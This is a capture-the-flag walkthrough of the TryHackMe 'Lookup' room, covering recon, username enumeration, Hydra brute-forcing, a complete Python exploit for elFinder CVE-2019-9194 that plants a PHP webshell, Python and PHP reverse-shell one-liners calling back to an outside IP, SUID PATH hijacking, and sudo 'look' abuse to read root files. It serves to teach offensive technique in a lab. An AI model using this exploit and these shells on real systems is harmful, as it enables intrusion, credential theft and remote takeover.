6 min read

TryHackMe Lookup Writeup: Username Enumeration to Root

TryHackMe Lookup Writeup: Username Enumeration to Root

Challenge Info

Reconnaissance

Hosts configuration

sudo bash -c 'echo "10.201.21.100    lookup.thm" >> /etc/hosts'

Nmap scan

nmap -Pn -sV -sC -p 22,80 10.201.21.100 -T4

Scan results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open  http    Apache/2.4.41 ((Ubuntu))

Directory enumeration

gobuster dir -u http://lookup.thm/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -t 20 -x php

Paths discovered:

  • /index.php - login page
  • /login.php - login handler script
  • /styles.css - stylesheet

Step 1: Username enumeration

Finding the vulnerability

Visiting http://lookup.thm reveals a login form. After some testing:

Testing a user that doesn't exist:

curl -X POST http://lookup.thm/login.php \
  -d "username=test&password=test"

Response: Wrong username or password.

Testing the admin user:

curl -X POST http://lookup.thm/login.php \
  -d "username=admin&password=test"

Response: Wrong password. Please try again.

Key finding: the error messages differ! That means we can enumerate valid usernames.

Enumerating users

I used Burp Suite Intruder to enumerate existing users:
Remember to fix the password first, then brute-force the username.

Users found:

  • admin
  • jose

Step 2: Password brute-forcing

Brute-forcing with Hydra

Brute-forcing the password for the jose user (admin is usually tougher):

hydra -l jose -P /usr/share/wordlists/rockyou.txt \
  lookup.thm \
  http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" \
  -t 16

Success!

[80][http-post-form] host: lookup.thm   login: jose   password: password123

Step 3: Discovering a hidden subdomain

What we find after logging in

After logging in with jose:password123, we get redirected to:

http://files.lookup.thm/elFinder/elfinder.html

Key findings:

  1. There's a hidden subdomain: files.lookup.thm
  2. It runs the elFinder 2.1.47 file manager

Updating Hosts

sudo bash -c 'echo "10.201.21.100    files.lookup.thm" >> /etc/hosts'

Looking at the important files

Inside elFinder we find several text files, the most important being:

credentials.txt

think : nopassword

thislogin.txt

jose : password123

Step 4: Exploitation - elFinder CVE-2019-9194

Vulnerability info

  • CVE: CVE-2019-9194
  • Affected versions: elFinder <= 2.1.47
  • Vulnerability type: Command Injection
  • Exploit: https://www.exploit-db.com/exploits/46481

How the vulnerability works

When elFinder rotates an image it calls the exiftran command, and the filename isn't properly sanitized, which leads to a command injection vulnerability.

Preparing the exploit

Python3 version of the exploit script:

import requests
import json
import sys

# This is python3 version of exploit from: https://www.exploit-db.com/exploits/46481
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# CVE: CVE-2019-9194

payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'

def usage():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py [URL]")
        sys.exit(0)

def upload(url, payload):
    try:
        with open('SecSignal.jpg', 'rb') as f:
            files = {'upload[]': (payload, f)}
            data = {"reqid": "1693222c439f4", "cmd": "upload", "target": "l1_Lw", "mtime[]": "1497726174"}
            r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
            j = json.loads(r.text)
            return j['added'][0]['hash']
    except Exception as e:
        print(f"[!] Upload failed: {e}")
        sys.exit(1)

def img_rotate(url, hash):
    r = requests.get(f"{url}/php/connector.minimal.php?target={hash}&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c")
    return r.text

def shell(url):
    r = requests.get(f"{url}/php/SecSignal.php")
    if r.status_code == 200:
        print("[+] Pwned! :)")
        print("[+] Getting the shell...")
        while True:
            try:
                user_input = input("$ ")
                r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
                print(r.text)
            except KeyboardInterrupt:
                print("\nBye kaker!")
                sys.exit(0)
    else:
        print("[*] The site seems not to be vulnerable :(")

def main():
    usage()
    url = sys.argv[1]
    print("[*] Uploading the malicious image...")
    hash = upload(url, payload)
    print("[*] Running the payload...")
    img_rotate(url, hash)
    shell(url)

if __name__ == "__main__":
    main()

Running the exploit

Important: you must use a real JPG image file — a text file won't work!

# 1. Use a real JPG image
cp /path/to/your/photo.jpg SecSignal.jpg

# 2. Confirm it's actually an image
file SecSignal.jpg
# Output: JPEG image data

# 3. Run the exploit
python3 exploit.py http://files.lookup.thm/elFinder

Got a webshell!

[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data

Step 4.5: Setting up a reverse shell

Setting up a listener
Although we already have an interactive webshell, I tried to establish a reverse shell for more stable operation:

# Start a listener in Windows PowerShell
ncat -lvnp 4444

Attempting the reverse connection

Run the reverse shell payload from the webshell:

Python reverse shell
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.90.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Or a PHP reverse shell
$ php -r '$sock=fsockopen("10.13.90.144",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Result
Reverse shell established successfully.

Step 5: Lateral movement - PATH hijacking

Hunting for SUID files

$ find / -perm -4000 -type f 2>/dev/null

Key finding:

/usr/sbin/pwm

Analyzing the pwm program
Running /usr/sbin/pwm reveals that:

  • The program calls the id command to obtain user information
  • The key point: it calls id without an absolute path
  • Based on the username, it reads the /home/{username}/.passwords file

The PATH hijacking attack

# 1. Create a fake id command
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id

# 2. Make it executable
$ chmod +x /tmp/id

# 3. Modify PATH (put /tmp at the front)
$ export PATH=/tmp:$PATH

# 4. Run pwm
$ /usr/sbin/pwm

Got think's password list!

[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
...
josemario.AKA(think)  ← note this one!
...

Step 6: SSH login to grab the User Flag

Password analysis
From the password list, the most suspicious one is:

josemario.AKA(think)

The name contains "think", so it's very likely the SSH password.

SSH login

ssh [email protected]
# Password: josemario.AKA(think)

Logged in successfully!

Grabbing the User Flag

think@ip-10-201-21-100:~$ cat user.txt
Redacted

Step 7: Privilege escalation to Root

Checking sudo privileges

think@ip-10-201-21-100:~$ sudo -l

User think may run the following commands on ip-10-201-21-100:
    (ALL) /usr/bin/look

We can run /usr/bin/look via sudo!

Abusing the look command
The look command searches a file for lines beginning with a given string.

Reference: GTFOBins - look

Reading the Root Flag

# Use a for loop to try every digit
think@ip-10-201-21-100:~$ for i in {0..9}; do sudo look $i /root/root.txt; done
Redacted

Key Takeaways

1. Username enumeration vulnerability

Telltale signs:

  • Different error messages for different users
  • "Wrong password" vs "Wrong username or password"

2. elFinder CVE-2019-9194 command injection

How it works:

  • The image rotation feature calls an external command
  • The filename isn't properly sanitized
  • You can inject commands through the filename

3. PATH hijacking (SUID exploitation)

Attack prerequisites:

  • A SUID binary
  • It calls an external command without an absolute path
  • You can control the PATH environment variable

4. Sudo abuse - the look command

Check command:

sudo -l

References:

Exploitation method:

sudo look [char] [file]  # read lines starting with a given character

Lessons Learned

On Step 1: username enumeration

This step actually ate up a lot of time up front. The room's intro mentions finding a hidden domain, so before starting to brute-force credentials I ran gobuster to scan for vhosts — but got nothing. I also did directory brute-forcing with gobuster, again without much to show for it. That's what pushed me to start looking at the login page for vulnerabilities. I got stuck here for a while too, checking for SQL injection and so on, before finally realizing I could enumerate users and successfully finding the user jose.

On Step 4: exploitation - elFinder CVE-2019-9194

I'm not sure why, but I spent an enormous amount of time trying to use the exploit script that searchsploit provided, figuring out how to run it, but I just couldn't get it to work. Eventually I found a version on GitHub that also came with usage instructions. The usage instructions really matter — with this kind of exploitation script you absolutely have to understand the method before you know how to use it. See:

TryHackMe/Lookup CTF/elFinder_2-1-47_exploit_python3.py at main · cyvorsec/TryHackMe
TryHackMe rooms Write-Ups. Contribute to cyvorsec/TryHackMe development by creating an account on GitHub.